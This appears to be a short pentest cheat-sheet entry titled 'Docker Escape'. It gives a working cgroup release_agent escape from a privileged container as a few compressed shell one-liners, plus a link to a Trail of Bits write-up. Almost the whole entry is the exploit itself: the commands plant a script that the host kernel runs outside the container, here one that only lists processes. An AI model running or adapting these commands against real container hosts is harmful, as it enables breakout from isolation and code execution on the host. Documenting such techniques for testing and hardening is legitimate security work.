Docker Escape

Example

Host

• docker run --rm -it --privileged ubuntu bash

Container

• d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
• mkdir -p $d/w;echo 1 >$d/w/notify_on_release
• t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
• touch /o; echo $t/c >$d/release_agent;printf '#!/bin/sh\nps >'"$t/o" >/c;
• chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

Links

• https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/